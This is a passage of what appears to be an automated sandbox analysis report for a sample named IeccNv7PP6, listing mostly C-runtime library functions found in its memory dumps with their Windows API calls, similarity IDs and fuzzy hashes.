GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,0466BD14,?,00000000), ref: 0466BA8E
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,0466BD14,?,00000000), ref: 0466BAB7
GetACP.KERNEL32(?,?,0466BD14,?,00000000), ref: 0466BACC

Strings

ACP, xrefs: 0466BA13
OCP, xrefs: 0466BA49

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction ID: 0ac0ddb3f70e042c3bcd119626eb9f99ba88331c27a659b7155e75d21213e075
Opcode Fuzzy Hash: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction Fuzzy Hash: 6521AF36704224EBDB308F58D901AA773A6EB60F50B568464E90BD7310FB32FE41C790

Function 0043B962 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F59
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F66

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0043BA6E
IsValidCodePage.KERNEL32(00000000), ref: 0043BAC9
IsValidLocale.KERNEL32(?,00000001), ref: 0043BAD8
GetLocaleInfoW.KERNEL32(?,00001001,004307D5,00000040,?,004308F5,00000055,00000000,?,?,00000055,00000000), ref: 0043BB20
GetLocaleInfoW.KERNEL32(?,00001002,00430855,00000040), ref: 0043BB3F

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: a50431d0c3642f69d47dbab6daefb570278e327c2e745941eee8886a4e92d2d5
Instruction ID: 67f71bbb56b82b0218cba6ea78e0e4499e3cf24bce0f2bcc9fbcefe2be7f4072
Opcode Fuzzy Hash: a50431d0c3642f69d47dbab6daefb570278e327c2e745941eee8886a4e92d2d5
Instruction Fuzzy Hash: DC517371D00609ABDB10EFA5CC45BBF77B8EF4C701F14556BEA40E7250EB789A048BA9

Function 0466BBC9 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

Part of subcall function 04662161: _free.LIBCMT ref: 046621C0
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621CD

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0466BCD5
IsValidCodePage.KERNEL32(00000000), ref: 0466BD30
IsValidLocale.KERNEL32(?,00000001), ref: 0466BD3F
GetLocaleInfoW.KERNEL32(?,00001001,04660A3C,00000040,?,04660B5C,00000055,00000000,?,?,00000055,00000000), ref: 0466BD87
GetLocaleInfoW.KERNEL32(?,00001002,04660ABC,00000040), ref: 0466BDA6

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: 119725e359bc42e0bfb9cdb5970e3de8a9f9b5c3b1583b7d82a4707c3220fec3
Instruction ID: 63e29f98632baf6e884a90c48b7ed1d1f785b3e46ab828c0999b1ba07485fd32
Opcode Fuzzy Hash: 119725e359bc42e0bfb9cdb5970e3de8a9f9b5c3b1583b7d82a4707c3220fec3
Instruction Fuzzy Hash: B251A3B1A00225EBEB10DFA5DC41ABE77B8FF14B00F044169E922E7250FB71BA05CB65

Function 0043B02A Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,004307DC,?,?,?,?,00430233,?,00000004), ref: 0043B10C
_wcschr.LIBVCRUNTIME ref: 0043B19C
_wcschr.LIBVCRUNTIME ref: 0043B1AA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,004307DC,00000000,004308FC), ref: 0043B24D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID:
API String ID: 2444527052-0
Opcode ID: 235cd7c9c97d69f00393a381e4b6a272d6827e4b9def7e09cf33ed6baaba58e2
Instruction ID: 5761a74378df300ed92098e1ccfc665780a6f2e5d92530a12aea1ed3de9efe0d
Opcode Fuzzy Hash: 235cd7c9c97d69f00393a381e4b6a272d6827e4b9def7e09cf33ed6baaba58e2
Instruction Fuzzy Hash: BF610C71600205AADB25AB35DC46BBB73A8EF0C744F14256FFA05DB281EB78DA40C7D9

Function 0466B291 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,04660A43,?,?,?,?,0466049A,?,00000004), ref: 0466B373
_wcschr.LIBVCRUNTIME ref: 0466B403
_wcschr.LIBVCRUNTIME ref: 0466B411
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,04660A43,00000000,04660B63), ref: 0466B4B4

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID:
API String ID: 2444527052-0
Opcode ID: a8d3268dc8615bf56593139fe4b4cdd8dd771f7aacb6be947116ef161c46c3e3
Instruction ID: bfcfbeb7df334b13c2bff3e9118865255d9567efefdacb49f6f7e67fc6691b82
Opcode Fuzzy Hash: a8d3268dc8615bf56593139fe4b4cdd8dd771f7aacb6be947116ef161c46c3e3
Instruction Fuzzy Hash: B661F271600316EAEB24AF65DC41BBA73ACEF15B04F14406EEE07DB280FA74F90187A5

Function 004351E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00430233,?,00000004), ref: 00435233

Strings

GetLocaleInfoEx, xrefs: 004351F1, 004351FB
11@, xrefs: 0043521E

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: InfoLocale
String ID: 11@$GetLocaleInfoEx
API String ID: 2299586839-1075713910
Opcode ID: 1dc130b9c5a187b3ffa5c8ddbc84a9ec177ca7c052edae5696fe3086fb7fd6c3
Instruction ID: 0b6d0ab79e82c81e80324b5502c8e0aaa0a052425b201476cea76cb6f5b2798d
Opcode Fuzzy Hash: 1dc130b9c5a187b3ffa5c8ddbc84a9ec177ca7c052edae5696fe3086fb7fd6c3
Instruction Fuzzy Hash: 10F0BB31680318BBDB11AF51DC02F6F7B65EF19B12F10416BFC0566290DA759D20EA9E

Function 0043B415 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F59
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F66

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B469
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B4BA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B57A

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free
String ID:
API String ID: 2834031935-0
Opcode ID: 2b4fd7bd63b1ca4c86b7cdb97710403681583749ada0fe7a45d93d6fdc0ff965
Instruction ID: c275762dc3584603e4449795e293da263c651eeb99c2a8a82852c084b1b0f28d
Opcode Fuzzy Hash: 2b4fd7bd63b1ca4c86b7cdb97710403681583749ada0fe7a45d93d6fdc0ff965
Instruction Fuzzy Hash: CA61B271900617AFDB289F25CC82BBA77A8EF18314F20517BEE05C6681E73DD951CB98

Function 0042A3F3 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0042A4EB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0042A4F5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0042A502

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 3214526669c2ecc0a7e52ca6451879e06077fde6cd46758ec137b78cfee515f1
Instruction ID: 9c884317c51d85a4b2a5569c8d07c46b6125cba9f3fa022ce0985413e040e42f
Opcode Fuzzy Hash: 3214526669c2ecc0a7e52ca6451879e06077fde6cd46758ec137b78cfee515f1
Instruction Fuzzy Hash: 6D31D474901228ABCB21DF24D8887DDBBB8BF08710F5041EAE81CA7251EB749F958F49

Function 0465A65A Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0463DAFC), ref: 0465A752
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0463DAFC), ref: 0465A75C
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,0463DAFC), ref: 0465A769

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eb826f4c1f6c2a36f22102285c1cba4b775e3ea8ac7ebf58b950a08133c1f654
Instruction ID: 50185b1d494f6cd898cffe3871023a8cf65a111f0f29b1d52c11874ef8fd862a
Opcode Fuzzy Hash: eb826f4c1f6c2a36f22102285c1cba4b775e3ea8ac7ebf58b950a08133c1f654
Instruction Fuzzy Hash: 8131D87490122DABDB21DF64DD8879CB7B4BF18710F5042EAE91CA7260E774AB85CF48

Function 0042FE7F Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,0042FE55,00000003,00457970,0000000C,0042FFAC,00000003,00000002,00000000,?,0042DFDF,00000003), ref: 0042FEA0
TerminateProcess.KERNEL32(00000000,?,0042FE55,00000003,00457970,0000000C,0042FFAC,00000003,00000002,00000000,?,0042DFDF,00000003), ref: 0042FEA7
ExitProcess.KERNEL32 ref: 0042FEB9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction ID: f37ed9c2097ef164d49cac6b9283d1ec131115afdbcb09f205e89e36e121774d
Opcode Fuzzy Hash: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction Fuzzy Hash: BCE08C31100158AFCF126F50EE08A4A3B39FF46B56F810439F9068B236CB39EE42CB48

Function 046600E6 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,046600BC,00000000,00457970,0000000C,04660213,00000000,00000002,00000000), ref: 04660107
TerminateProcess.KERNEL32(00000000,?,046600BC,00000000,00457970,0000000C,04660213,00000000,00000002,00000000), ref: 0466010E
ExitProcess.KERNEL32 ref: 04660120

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction ID: 9aeef581ff742ac8cc126c720e625aa81ecbc1ce1455d726a84776d07b523b32
Opcode Fuzzy Hash: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction Fuzzy Hash: CDE0B635000548ABCF15AF95DD09A597B69EB56E4AB004068F9068B221DB35EA42CA98

Function 0463092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04630966
., xrefs: 0463095F
GetProcAddress., xrefs: 046309DC, 046309DF, 046309E4

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4f5d799bb3fa439e2e2e6bb49162cd3f0b98e1240d63d90fa0e0bc15bb75b6ee
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 56318DB6900649CFDB10CF99C880AADBBF5FF08329F14504AD541A7354E771FA49CBA4

Function 04665447 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,0466049A,?,00000004), ref: 0466549A

Strings

11@, xrefs: 04665485

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: 11@
API String ID: 2299586839-1785270423
Opcode ID: 07f8c7bf41114017428d2514f108cb7953daff0745a9299ad745c6acdc6e13f2
Instruction ID: ca0753dd278dcca191407e9af551f4341e9df65b55bdc371376a00b24c831cfe
Opcode Fuzzy Hash: 07f8c7bf41114017428d2514f108cb7953daff0745a9299ad745c6acdc6e13f2
Instruction Fuzzy Hash: D5F02B31640318BFDB015F60DC02F6E7B21EF04B12F004159FC0767290EA71AD20A6CD

Function 0042EB00 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda9e72bc25da6b1635b523c299a5fa0de5a927ba93022b621906e7d80f750db
Instruction ID: 4ac827831b60bfe85137482c2a27181e9cc595fbcc224352d04797812a560731
Opcode Fuzzy Hash: cda9e72bc25da6b1635b523c299a5fa0de5a927ba93022b621906e7d80f750db
Instruction Fuzzy Hash: 74024D71E002299BDF14CFAAD9806AEFBF1EF48314F55416AE819E7384D734AD41CB84

Function 0465ED67 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f1f6500ce61f8077431c98347a8527c5f1f934838e9231b30eeddca4b7b1fa
Instruction ID: 47a91ff9c5f1066ca532224b7e37860eb1ede3905c05b017afc085669a31f5ef
Opcode Fuzzy Hash: 50f1f6500ce61f8077431c98347a8527c5f1f934838e9231b30eeddca4b7b1fa
Instruction Fuzzy Hash: 78023D71E002199FDF18CFA9C8906ADB7F1FF88314F15826AD919E7354E731AA41CB94

Function 04632621 Relevance: 3.1, APIs: 2, Instructions: 129nativewindowCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 04632648
PostQuitMessage.USER32(00000000), ref: 046327EA

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: MessageNtdllPostProc_QuitWindow
String ID:
API String ID: 4264772764-0
Opcode ID: 1f3d487c3c03d627e5903ad7b0a4cc32456bcc0014a944db875e3b1801701b52
Instruction ID: 4925c37c11168df0bf57b416c6353bde2ca3d9f58c36589be1f531851376fac5
Opcode Fuzzy Hash: 1f3d487c3c03d627e5903ad7b0a4cc32456bcc0014a944db875e3b1801701b52
Instruction Fuzzy Hash: 0E411D15A64384A9E730EFA5FC55B2137B0FF64762F10243BE528CB2B2E3A19580C30E

Function 00436CDF Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00436CDA,?,?,00000008,?,?,0043F19B,00000000), ref: 00436F0C

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction ID: 56894988d221dc275bbeb5d863802b50bab2a0c2ec5e1dae9116b4c396cbcd5f
Opcode Fuzzy Hash: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction Fuzzy Hash: 58B15D3521060AAFD715CF28C48AB657BE0FF09364F26D659E899CF3A1C339D992CB44

Function 04666F46 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04666F41,?,?,00000008,?,?,0466F402,00000000), ref: 04667173

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction ID: 7045ce178650190d5886ba75680d71ea2481839c546a6d9472c0e3d41415c41d
Opcode Fuzzy Hash: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction Fuzzy Hash: 26B16D71210608DFD715CF28C48AB657BE0FF55369F298659E89ACF2A1E335E982CF40

Function 0043B665 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F59
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F66

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B6B9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: f248db6eca06ff892e51bce8bbfaaacfef81b0ccb26f5c1b1a4e2b53f037ebcf
Instruction ID: b1e829de63a4cfdbbeb590434fbc272015d29a09e68feb3eb70f55beb1ad3412
Opcode Fuzzy Hash: f248db6eca06ff892e51bce8bbfaaacfef81b0ccb26f5c1b1a4e2b53f037ebcf
Instruction Fuzzy Hash: 5921B33291020A9BDB249E25CC42BBB73A8EF48314F10217BFE01DA241EB399D45CB99

Function 0466B8CC Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

Part of subcall function 04662161: _free.LIBCMT ref: 046621C0
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621CD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0466B920

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 8d1e0dff99db69fa77e1a690083a2ab2b0404bead7d8da99940a9befd189831e
Instruction ID: f349534c56a925de9645871df41848fcb379a50a7b4fed7b73c0c6eefa8c0387
Opcode Fuzzy Hash: 8d1e0dff99db69fa77e1a690083a2ab2b0404bead7d8da99940a9befd189831e
Instruction Fuzzy Hash: BF21B631A50226EBEB24AE25CC41BBA73ACEF01B14F00027EED06C6241FB75B940CB54

Function 0043B2ED Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

EnumSystemLocalesW.KERNEL32(0043B415,00000001,00000000,?,004307D5,?,0043BA42,00000000,?,?,?), ref: 0043B35F

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: f5690584e9ad499021b42ce56d8f8de17484a935533950cab043c7ceb3897eb3
Instruction ID: db3c9ccc80d1476fb6d66557201e2f3895761b13365cb69cd331a803ccf2be29
Opcode Fuzzy Hash: f5690584e9ad499021b42ce56d8f8de17484a935533950cab043c7ceb3897eb3
Instruction Fuzzy Hash: C911063B6007019FDB189F39C8917BAB791FF88318F15442EEA8687B40D375A902C784

Function 0466B554 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

EnumSystemLocalesW.KERNEL32(0043B415,00000001,00000000,?,04660A3C,?,0466BCA9,00000000,?,?,?), ref: 0466B5C6

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: cce71207e2b51a43ae620771f06a8e25d222029b64e0dc1c2990edcd69b9ccff
Instruction ID: b331f9c28bb4ba66c7bfd9e38505c5aca02e7b457dc51cafb43eb2800ae8b7bf
Opcode Fuzzy Hash: cce71207e2b51a43ae620771f06a8e25d222029b64e0dc1c2990edcd69b9ccff
Instruction Fuzzy Hash: 5E11E53B6007159FDB18AF39C8A16BABB92FF84758B14442DDA47C7B40E771B942CB44

Function 0043B895 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0043B633,00000000,00000000,?), ref: 0043B8C1

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: d4489b39268ae4454a785e185639656f72d6012a52ca4bd703596e7082c16f5e
Instruction ID: cee2b43c6a9fd0cc18a312a7fa4a4d5932635e218f943acbfed5d814f3d68c37
Opcode Fuzzy Hash: d4489b39268ae4454a785e185639656f72d6012a52ca4bd703596e7082c16f5e
Instruction Fuzzy Hash: 79F0F936A00215ABDB2C6A26DC067BB775CEF44754F15442AEE05A3240EB39BE4186D8

Function 0466BAFC Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0466B89A,00000000,00000000,?), ref: 0466BB28

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 211d6faacd7aebbddaf1521eced52ad029ab4ad6bdece50ad0f57ab5ad071f03
